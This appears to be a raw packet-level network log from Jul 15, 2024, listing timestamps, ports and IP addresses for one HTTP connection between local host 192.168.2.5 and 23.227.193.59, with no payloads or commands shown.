Jul 15, 2024 00:48:35.264344931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264355898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264367104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264378071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264389992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264394999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264404058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264420986 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264437914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264596939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264607906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264620066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264632940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264643908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264645100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264657974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264669895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264672995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264683008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264692068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264695883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264708042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.264708996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.264734983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.293757915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293781042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293792009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293812990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.293842077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.293845892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293920040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293931961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293953896 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.293962955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293976068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.293993950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.341415882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352237940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352250099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352258921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352271080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352288961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352329016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352504015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352515936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352533102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352543116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352551937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352557898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352571964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352575064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352585077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352596998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352602005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352607965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352617979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352628946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352631092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352639914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352648973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352650881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352663040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352673054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352675915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352684975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352694988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352704048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352706909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352719069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352727890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.352730036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352749109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.352762938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353038073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353277922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353287935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353297949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353307962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353310108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353319883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353327036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353331089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353341103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353352070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353353024 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353364944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353368998 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353379011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353389025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353398085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353403091 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353418112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353427887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353430033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353439093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353450060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353456020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353461981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353473902 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353473902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353486061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353496075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353501081 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353507042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353518009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353528976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353539944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353543043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353543043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353554010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353563070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353564978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353576899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353585958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353586912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353596926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353617907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353626013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353636980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353643894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353646994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353657961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353667974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353669882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353679895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353689909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353697062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353701115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353709936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353713989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353724957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353732109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353735924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353746891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353755951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353759050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353770971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353780985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353790045 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353792906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353804111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353813887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353813887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353825092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353827000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353838921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.353849888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.353879929 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354075909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354084969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354096889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354106903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354119062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354120970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354130030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354140997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354141951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354152918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354156971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354165077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354175091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354182959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354186058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354198933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354209900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354218960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354221106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354237080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354243994 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354259014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354398966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354409933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354419947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354429960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354430914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354441881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354453087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354459047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354465008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354475975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354485035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354485989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354497910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354501963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354509115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354521036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354526043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354532957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.354547977 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.354566097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.382594109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382605076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382616043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382658005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.382711887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382720947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382730007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382740021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.382741928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.382760048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.435235023 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440403938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440479994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440495968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440501928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440514088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440557957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440587044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440601110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440603018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440627098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440684080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440695047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440706968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440716028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440737963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440830946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440840960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440851927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440891027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440903902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440915108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440928936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440937996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440938950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440952063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440963984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440973997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440980911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.440984011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.440992117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441004992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441066980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441080093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441091061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441102028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441103935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441126108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441371918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441385031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441395998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441407919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441411018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441421986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441435099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441436052 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441447973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441459894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441461086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441473961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441474915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441489935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441502094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441514969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441518068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441529036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441531897 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441541910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441555023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441565990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441576958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441586971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441597939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441602945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441612005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441626072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441627026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441643000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441652060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441657066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441669941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441679001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441684008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441701889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441734076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441747904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441759109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441771984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441802979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441888094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441900015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441910982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441922903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441932917 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441936016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441950083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441958904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441962957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441977024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.441988945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.441989899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442003012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442013025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442038059 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442135096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442193031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442214012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442225933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442225933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442243099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442255974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442266941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442270994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442296028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442378998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442393064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442406893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442418098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442429066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442440033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442450047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442454100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442466974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442477942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442480087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442493916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442507982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442513943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442523003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442533970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442537069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442559958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442569971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442580938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442598104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442603111 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442610979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442624092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442662001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442662954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:35.442713976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442734003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:35.442747116 CEST	80	57614	23.227.193.59	192.168.2.5
